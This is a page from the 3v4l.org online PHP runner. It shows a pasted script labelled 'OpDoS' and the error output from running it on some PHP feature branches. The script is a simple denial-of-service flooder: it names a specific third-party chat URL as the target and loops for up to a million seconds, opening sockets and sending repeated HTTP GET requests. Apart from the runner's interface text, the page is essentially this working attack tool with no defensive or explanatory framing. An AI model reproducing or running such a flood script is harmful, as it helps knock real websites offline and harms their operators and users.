3v4l.org

run code in 300+ PHP versions simultaneously
<?php //Configs $config = array ( 'URL' => 'http://www.cyclad.pl/chat/', // URL of the target 'Limit' => 1000000, // how many sec/visit // Do not edit this... 'Version' => '1.0.0.0' ); //End of Configs $iTimeStamp = mktime(); $vString = '>##########################################################################'."\n <br>"; $vString .= '> #OpDoS v'.$config['Version']."\n <br>"; $vString .= '>'."\n <br>"; $vString .= '> URL: '.$config['URL']."\n <br>"; $vString .= '> Limit: '.$config['Limit'].' sec'."\n <br>"; $vString .= '>'."\n <br>"; $vString .= '> Started: '.date("h:m:s (d-M-Y)",$iTimeStamp)."\n <br>"; $vString .= '>##########################################################################'."\n <br>"; echo $vString; while (true) { _HTTP_Connect($config['URL']); if ((mktime()-$iTimeStamp)>$config['Limit']) {break;} } echo '> Finished: '.date("h:m:s (d-M-Y)",mktime()); function _HTTP_Connect($vURL) { $pURL = parse_url($vURL); $iPort = isset($pURL['port']) ? $pURL['port']:80; $TCPSocket = fsockopen($pURL['host'],$iPort); $TCPPacket = 'GET ' . $pURL['path'] . " HTTP/1.0\n"; $TCPPacket .= 'Host: ' . $pURL['host']; $TCPPacket .= "\n\n"; fwrite($TCPSocket,$TCPPacket); fclose($TCPSocket); } ?>
Output for git.master, git.master_jit, rfc.property-hooks
Fatal error: Uncaught ArgumentCountError: mktime() expects at least 1 argument, 0 given in /in/qZbuS:13 Stack trace: #0 /in/qZbuS(13): mktime() #1 {main} thrown in /in/qZbuS on line 13
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
47.53 ms | 401 KiB | 8 Q